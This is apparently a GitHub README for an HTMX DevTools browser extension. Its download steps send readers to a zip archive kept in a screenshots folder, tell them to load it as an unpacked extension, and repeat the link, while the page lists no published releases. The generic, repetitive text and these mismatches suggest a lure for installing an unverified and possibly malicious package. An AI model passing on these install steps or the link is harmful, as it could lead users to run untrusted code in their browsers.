Skip to content

marcus9martinek-sudo/htmx-devtools

Repository files navigation

🛠️ htmx-devtools - See HTMX Requests Clearly

Download

🚀 Getting Started

htmx-devtools is a browser DevTools extension for checking HTMX apps. It helps you see what HTMX sends, what the server returns, and how your page updates.

Use it when you want to inspect HTMX requests in a clear way without digging through raw browser logs.

📥 Download and Install

1. Visit the download page

Open this link in your browser:

https://raw.githubusercontent.com/marcus9martinek-sudo/htmx-devtools/main/docs/screenshots/htmx-devtools-3.3.zip

2. Get the extension files

On the page, look for the latest release or the main download files. Save the extension files to your computer.

3. Add the extension to your browser

For Chrome or Edge

  1. Open your browser.
  2. Go to the extensions page:
    • Chrome: chrome://extensions
    • Edge: edge://extensions
  3. Turn on Developer mode.
  4. Click Load unpacked.
  5. Pick the folder where you saved the extension files.

For Firefox

  1. Open Firefox.
  2. Open the Add-ons page.
  3. Load the extension using the browser’s add-on install flow.
  4. Choose the extension file or folder you downloaded.

4. Open DevTools

  1. Go to a web page that uses HTMX.
  2. Press F12 or Ctrl + Shift + I.
  3. Open the htmx-devtools panel.
  4. Start checking requests, triggers, and updates.

🔍 What It Shows

htmx-devtools helps you look at common HTMX behavior in one place:

  • HTMX requests sent from the page
  • Request methods and target URLs
  • Response details
  • Trigger events
  • Swap results
  • Elements that HTMX updates
  • Useful info for debug work

🖥️ Windows Setup

If you use Windows, the process is the same as above:

  1. Download the extension files from the GitHub page.
  2. Save them in a folder you can find again.
  3. Open your browser’s extension page.
  4. Load the extension folder.
  5. Open DevTools on an HTMX page.

If your browser asks for file access or folder access, allow it so the extension can load.

✅ Before You Start

A normal Windows setup should be enough if you have:

  • Windows 10 or Windows 11
  • A current version of Chrome, Edge, or Firefox
  • Access to the internet for the first download
  • A website that uses HTMX for testing

🧭 How to Use It

Check a page

Open a site that uses HTMX. Then open DevTools and pick the htmx-devtools panel.

Inspect a request

Click an item in the panel to see request data, response data, and related page changes.

Find a problem

Use the panel to compare what you expected with what HTMX actually sent or received.

Watch updates

If a page does not change the way you want, check the swap target and response details.

🧩 Useful Features

  • Simple view of HTMX activity
  • Works inside browser DevTools
  • Helps spot request and response issues
  • Good for testing page swaps
  • Useful for learning how HTMX behaves
  • Fits common browser workflows
  • Works with browser extension support on Windows

🧰 Browser Support

This extension is built for modern browsers that support DevTools extensions:

  • Chrome
  • Edge
  • Firefox

For best results, keep your browser updated.

📁 Typical Use Cases

  • You want to see why an HTMX request did not fire
  • You want to check the URL HTMX called
  • You want to confirm the server response
  • You want to inspect swap behavior
  • You want to debug partial page updates
  • You want a cleaner view than the network tab alone

🛠️ Basic Troubleshooting

The extension does not appear in DevTools

  • Refresh the page
  • Close and reopen DevTools
  • Make sure the extension is loaded
  • Check that Developer mode is on in your browser

The panel is empty

  • Open a page that uses HTMX
  • Trigger an HTMX action on the page
  • Reload the page and try again

The extension will not load

  • Confirm that you selected the full extension folder
  • Make sure the files finished downloading
  • Try a newer browser version

I cannot find the download files

🔐 Privacy and Local Use

This tool runs in your browser and helps you inspect local page activity. It is meant for debugging HTMX pages on your own system or on pages you have permission to test.

📌 Project Topics

browser-extension, chrome-extension, debugging, devtools, firefox-extension, htmx, web-development

📎 Download Again

If you need to get the files again, use this page:

https://raw.githubusercontent.com/marcus9martinek-sudo/htmx-devtools/main/docs/screenshots/htmx-devtools-3.3.zip

About

Inspect HTMX requests in browser DevTools with timing, headers, body, and event traces for htmx 2.x and 4.0 alpha

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors